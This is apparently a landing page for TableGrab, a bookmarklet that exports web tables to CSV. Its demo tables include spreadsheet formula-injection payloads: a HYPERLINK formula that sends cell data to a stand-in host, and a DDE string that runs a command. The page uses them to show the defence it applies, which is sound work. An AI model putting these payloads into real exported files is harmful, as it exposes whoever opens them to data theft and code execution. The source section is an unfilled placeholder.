TableGrab turns any table on any web page into a clean, Excel-ready CSV in one click. It handles the things that break copy and paste: merged cells, hidden columns, footnote markers, currency symbols and numbers stored as text.
One file. No extension, no account, no network calls. The whole thing runs inside your browser tab and nothing about the page you are on leaves your machine. The source is right here on this page, unminified, so you can read every line before you trust it.
A bookmarklet is just a bookmark whose address is a small program. Your IT department does not need to approve anything, because there is nothing to approve.
Drag this button up to your bookmarks bar. Do not click it here.
If dragging does not work (some managed browsers block it), create a new bookmark by hand, name it anything, and paste the code below into the URL field.
Every table below is deliberately hostile. Each one is a real pattern that makes a plain copy and paste come out wrong. Click your new bookmark and export them.
Two header rows, a region label spanning three rows, a column the report author hid from the public view, negatives in accounting parentheses, a European number format, and footnote markers glued to the labels. Copy and paste turns this into a staircase.
| Region | Segment | Revenue1 | Net change | Internal margin | |
|---|---|---|---|---|---|
| Q1 | Q2 | ||||
| North America | Enterprise | $1,284,900 | $1,406,220 | 121,320 | |
| Mid‑market | $612,455 | $570,275 | (42,180) | ||
| Public sector2 | $188,000 | $204,500 | 16,500 | ||
| EMEA | Enterprise | 1.284.900,50 | 1.402.117,80 | 117.217,30 | |
| Mid‑market | 402.118,00 | 388.940,25 | (13.177,75) | ||
| TEMPLATE_ROW | DO_NOT_EXPORT | 0 | 0 | 0 | 0 |
1. Recognized revenue, net of refunds. 2. Includes two contracts pending signature.
Addresses split across lines with <br>, non-breaking spaces
for alignment, links inside cells, and a units column with a real superscript exponent
that must survive. Copy and paste explodes the multi-line cells into extra rows.
| Vendor | Site address | Coverage | Rate | Contact |
|---|---|---|---|---|
| Brightline Facilities* | 4120 Harbour Way Suite 300 Baltimore, MD 21230 |
1,850 m2 per visit | $3,450.00 | n.osei@example.com |
| Cardinal Mechanical | 77 Rivermill Road Building C Wilmington, DE 19801 |
940 m2 per visit | $1,880.00 | dispatch@example.com |
| Halloran & Pike | 1900 Beaumont Pike Wilmington, DE 19807 |
2,400 m2 per visit | $4,120.00 | contracts@example.com |
* Master services agreement expires in November.
Modern data grids are stacks of div elements with ARIA roles.
There is no <table> here, which is why most table scrapers see nothing.
One column is toggled off, exactly like a column chooser would do it.
A table on a web page is input from a stranger. If a cell starts with
=, +, @ or a tab, most spreadsheets will happily
execute it when the file is opened. TableGrab prefixes those cells with an apostrophe so
they land as text, while genuine negative numbers stay numeric.
| Seller | Reference | Adjustment | Payout |
|---|---|---|---|
| Northgate Supply | =HYPERLINK("http://collect.example/log?d="&A1,"View invoice") | -1,250.00 | $18,410.00 |
| Vallecourt Trading | +1+cmd|'/c calc'!A0 | 0.00 | $7,905.50 |
| Okonjo Logistics | @SUM(1+9)*9 | -84.20 | $2,338.75 |
Nine decisions separate a usable CSV from a mess you have to clean by hand. This is all of them.
Rowspan and colspan are expanded into a true rectangle and the merged value is repeated, so the result can go straight into a pivot table.
Rows, cells and column groups hidden by CSS are dropped, including zero-width columns. You export what you can see. A checkbox turns this off when you want everything.
A superscript at the end of a cell is treated as a footnote marker and removed. One that has text after it is treated as an exponent and kept.
Multi-line cells collapse to one clean value instead of blowing up into extra rows. Non-breaking spaces and zero-width characters are stripped.
Currency symbols and thousands separators are removed, accounting parentheses become a minus sign, and European decimal commas are converted.
Cells starting with an equals sign, plus, at sign or tab are quoted as text. This is a real attack against anyone who opens a downloaded CSV.
RFC 4180 quoting, CRLF line endings and a UTF-8 byte order mark, so accented characters do not turn into question marks.
Dashboard grids built out of div elements are read through their ARIA roles, so the tool works on software that never emits a table tag.
No fetch, no XHR, no analytics, no remote script. The entire program is inside the bookmark, which is why you can read it before you trust it.
Any tool that only tells you what it does well is selling you something. Here is the honest list.
You are being asked to put a program in your browser. You should be able to read it first. This is the whole thing, annotated, before minification.
{{SOURCE}}